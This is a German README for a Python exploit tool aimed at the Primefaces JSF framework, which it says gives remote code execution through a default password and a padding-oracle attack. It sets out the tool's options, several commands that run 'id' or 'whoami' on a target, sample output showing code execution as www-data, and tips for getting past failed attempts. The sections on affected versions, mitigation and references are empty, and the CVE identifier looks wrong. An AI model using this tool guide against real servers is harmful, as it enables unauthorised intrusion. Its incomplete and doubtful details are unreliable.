
Python-basierter Exploit für CVE-2020-1039909, eine Remote-Codeausführungs-Schwachstelle in Primefaces JSF. Führt beliebige Befehle über einen Padding-Oracle-Angriff aus, mit Optionen für Proxy, Cookies und POC-Modus.
README - CVE-2020-1039909 Primefaces Remote Code Execution
============================================================
ÜBER DIE SCHWACHSTELLE
CVE-2020-1039909 ist eine Schwachstelle zur Remote-Codeausführung (RCE) im Primefaces-JSF-Framework. Der Fehler ermöglicht es einem Angreifer, über einen Padding-Oracle-Angriff beliebige Befehle auf dem Server auszuführen, was auf die Verwendung schwacher Verschlüsselung und eines Standardpassworts zurückzuführen ist.
Betroffene Versionen:
Auswirkungen:
============================================================
VORAUSSETZUNGEN
Installation der Abhängigkeiten:
pip install requests pycryptodome paddingoracle
============================================================
VERFÜGBARE BEFEHLE
Grundlegende Parameter:
target URL des Ziels (z. B. http://target.com) -pw, --password Primefaces-Passwort (Standard: primefaces) -pt, --path Pfad zu dynamiccontent.properties (Standard: /javax.faces.resource/dynamiccontent.properties.xhtml) -c, --cmd Auszuführender Befehl (Standard: whoami) -poc, --poc Test-Payload verwenden (prüft nur die Schwachstelle) -px, --proxy Proxy konfigurieren (z. B. http://127.0.0.1:8080) -ck, --cookie Cookie konfigurieren -o, --oracle Padding-Oracle-Angriff aktivieren (1 = aktiviert, 0 = deaktiviert) (STANDARD: 0) (LANGSAM) -pl, --payload Verschlüsselte EL-Payload (zur Verwendung mit Padding Oracle)
============================================================
ANWENDUNGSBEISPIELE
python3 exploit.py
python3 exploit.py http://target.com -c "id"
python3 exploit.py http://target.com --poc
python3 exploit.py http://target.com -px http://127.0.0.1:8080
python3 exploit.py http://target.com -ck "JSESSIONID=xxx"
python3 exploit.py http://target.com -o 1 -c "whoami"
python3 exploit.py http://target.com -pl "payload_criptografado"
============================================================
BEISPIEL FÜR DIE AUSGABE
$ python3 exploit.py http://target.com -c "id"
[] Generated Encrypted Payload: xyz123... [] Attempting to execute: id
POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1 ...
HTTP/1.1 200 OK ...
[+] Exploit Result:
HTTP/1.1 200 OK ...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
POC-MODUS (SCHWACHSTELLENTEST)
Der POC-Modus prüft nur, ob das Ziel verwundbar ist, ohne gefährliche Befehle auszuführen:
python3 exploit.py http://target.com --poc
Erwartete Ausgabe, wenn verwundbar:
[+] BANG!!! :D - Target IS VULNERABLE!!!
Ausgabe, wenn nicht verwundbar:
[-] Target Probably NOT VULNERABLE :-(
============================================================
PADDING ORACLE (LANGSAMER MODUS)
Wenn der Standardangriff nicht funktioniert (leerer Response-Body), versuchen Sie den Padding-Oracle-Modus. Dieser Modus ist langsamer, aber effektiver:
python3 exploit.py http://target.com -o 1 -c "whoami"
============================================================
PROXY UND DEBUG
Zum Analysieren der Anfragen mit Burp Suite:
python3 exploit.py http://target.com -px http://127.0.0.1:8080
============================================================
HÄUFIGE FEHLER UND LÖSUNGEN
"Response body empty... Target might not be vulnerable" Versuchen Sie den Padding-Oracle-Modus: -o 1
"Target Probably NOT VULNERABLE" Das Ziel ist möglicherweise gepatcht oder verwendet nicht das Standardpasswort
"Connection refused" Stellen Sie sicher, dass das Ziel erreichbar ist
"SSL Error" Verwenden Sie http statt https oder ignorieren Sie Zertifikate
============================================================
TIPPS ZUR AUSNUTZUNG
============================================================
HAFTUNGSAUSSCHLUSS
Diese Software wird zu Bildungs- und Testzwecken bereitgestellt. Der Autor übernimmt keine Verantwortung für Schäden, Verluste oder Konsequenzen, die aus der missbräuchlichen Verwendung dieses Tools entstehen.
Der Benutzer ist allein für seine Handlungen verantwortlich. Die Verwendung dieses Exploits auf Systemen ohne Autorisierung ist illegal und kann zu zivil- und strafrechtlichen Sanktionen führen.
Verwenden Sie es verantwortungsvoll und ethisch. Wissen ist zum Teilen da, aber Weisheit liegt darin zu wissen, wie und wann man es einsetzt.
============================================================
MITIGATION (FÜR ADMINISTRATOREN)
============================================================
REFERENZEN
============================================================
Developed by byt3l0rd